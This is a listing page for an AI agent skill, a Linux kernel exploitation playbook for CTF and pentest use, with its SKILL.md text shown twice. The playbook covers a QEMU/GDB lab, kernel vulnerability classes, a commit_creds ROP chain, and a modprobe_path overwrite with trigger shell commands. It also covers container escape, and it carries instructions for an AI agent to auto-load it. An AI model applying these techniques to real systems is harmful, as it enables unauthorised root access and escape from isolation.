/kernel-exploitation
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
$ npx -y skills add yaklang/hack-skills --skill kernel-exploitation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/kernel-exploitation
Context preview
The summary Claude sees to decide when to auto-load this skill.
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
SKILL.md
kernel-exploitation.SKILL.mdname: kernel-exploitation
description: >-
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
SKILL: Linux Kernel Exploitation — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
0. RELATED ROUTING
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — userspace protections (NX, ASLR) also apply in kernel context
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — kernel ROP reuses many userspace ROP concepts
- [heap-exploitation](../heap-exploitation/SKILL.md) — kernel SLUB is conceptually related to userspace heap
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — non-exploit kernel privesc techniques
Advanced References
- [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
- [KERNEL_HEAP_TECHNIQUES.md](./KERNEL_HEAP_TECHNIQUES.md) — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
---
1. EXPLOITATION MODEL
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
---
2. ENVIRONMENT SETUP
QEMU + Custom Kernel
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
GDB Debugging
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
initramfs Modification
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
---
3. COMMON VULNERABILITY TYPES
| Type | Description | Kernel Example | |---|---|---| | UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) | | OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) | | Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) | | Integer Overflow | Size calculation wraps around | Various ioctl handlers | | Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) | | Double Free | Object freed twice | SLUB allocator exploitation | | Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
---
4. PRIVILEGE ESCALATION TARGETS
Method 1: commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
Kernel ROP chain equivalent:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
Method 2: modprobe_path Overwrite
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
Method 3: cred Structure Direct Overwrite
If you can find the current task's `cred` pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
Method 4: Namespace Escape (Containers)
Overwrite `init_nsproxy` or manipulate namespace pointers to escape container isolation.
---
5. KERNEL ROP
Controlled RIP Sources
| Source | Mechanism | |---|---| | Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer | | Corrupted return address | Kernel stack overflow (rare) | | Corrupted `ops` structure | Module operations struct (file_operations, seq_operation
Read more
name: kernel-exploitation description: >- Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
SKILL: Linux Kernel Exploitation — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
0. RELATED ROUTING
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — userspace protections (NX, ASLR) also apply in kernel context
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — kernel ROP reuses many userspace ROP concepts
- [heap-exploitation](../heap-exploitation/SKILL.md) — kernel SLUB is conceptually related to userspace heap
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — non-exploit kernel privesc techniques
Advanced References
- [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
- [KERNEL_HEAP_TECHNIQUES.md](./KERNEL_HEAP_TECHNIQUES.md) — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
---
1. EXPLOITATION MODEL
┌─────────────────────────────────────────────────────┐ │ 1. Find Vulnerability │ │ (UAF, OOB, race, integer overflow, type confusion)│ ├─────────────────────────────────────────────────────┤ │ 2. Build Primitive │ │ (arbitrary read, arbitrary write, controlled RIP)│ ├─────────────────────────────────────────────────────┤ │ 3. Bypass Mitigations │ │ (KASLR, SMEP, SMAP, KPTI) │ ├─────────────────────────────────────────────────────┤ │ 4. Escalate Privileges │ │ (commit_creds, modprobe_path, namespace escape) │ ├─────────────────────────────────────────────────────┤ │ 5. Return to Userspace Cleanly │ │ (KPTI trampoline, iretq/sysretq, swapgs) │ └─────────────────────────────────────────────────────┘
---
2. ENVIRONMENT SETUP
QEMU + Custom Kernel
# Download and compile kernel wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz tar xf linux-6.1.tar.xz && cd linux-6.1 make defconfig # Disable mitigations for easier debugging: scripts/config --disable RANDOMIZE_BASE # KASLR scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR scripts/config --enable DEBUG_INFO make -j$(nproc) # Boot with QEMU qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio.gz \ -append "console=ttyS0 nokaslr quiet" \ -nographic \ -s -S \ # GDB server on :1234, pause at start -monitor /dev/null \ -m 256M \ -cpu kvm64,+smep,+smap
GDB Debugging
gdb vmlinux target remote :1234 # Load kernel symbols add-symbol-file vmlinux 0xffffffff81000000 # typical .text base # Breakpoints b commit_creds b *0xffffffff81234567 # pwndbg/GEF work with kernel debugging
initramfs Modification
mkdir rootfs && cd rootfs cpio -idmv < ../rootfs.cpio.gz # Edit init script, add exploit binary cp /path/to/exploit ./ # Repack find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
---
3. COMMON VULNERABILITY TYPES
| Type | Description | Kernel Example | |---|---|---| | UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) | | OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) | | Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) | | Integer Overflow | Size calculation wraps around | Various ioctl handlers | | Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) | | Double Free | Object freed twice | SLUB allocator exploitation | | Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
---
4. PRIVILEGE ESCALATION TARGETS
Method 1: commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root void (*commit_creds)(void *) = COMMIT_CREDS_ADDR; void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR; commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
Kernel ROP chain equivalent:
pop rdi; ret 0 # NULL → prepare_kernel_cred(NULL) = init_cred prepare_kernel_cred addr mov rdi, rax; ... ; ret # or pop rdi + known location commit_creds addr kpti_trampoline / swapgs+iretq # return to userspace
Method 2: modprobe_path Overwrite
// modprobe_path = "/sbin/modprobe" in kernel .data // Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup: echo '#!/bin/sh' > /tmp/x echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x chmod +x /tmp/x # Trigger (unknown binary format): echo -ne '\xff\xff\xff\xff' > /tmp/dummy chmod +x /tmp/dummy /tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
Method 3: cred Structure Direct Overwrite
If you can find the current task's `cred` pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
Method 4: Namespace Escape (Containers)
Overwrite `init_nsproxy` or manipulate namespace pointers to escape container isolation.
---
5. KERNEL ROP
Controlled RIP Sources
| Source | Mechanism | |---|---| | Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer | | Corrupted return address | Kernel stack overflow (rare) | | Corrupted `ops` structure | Module operations struct (file_operations, seq_operation
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

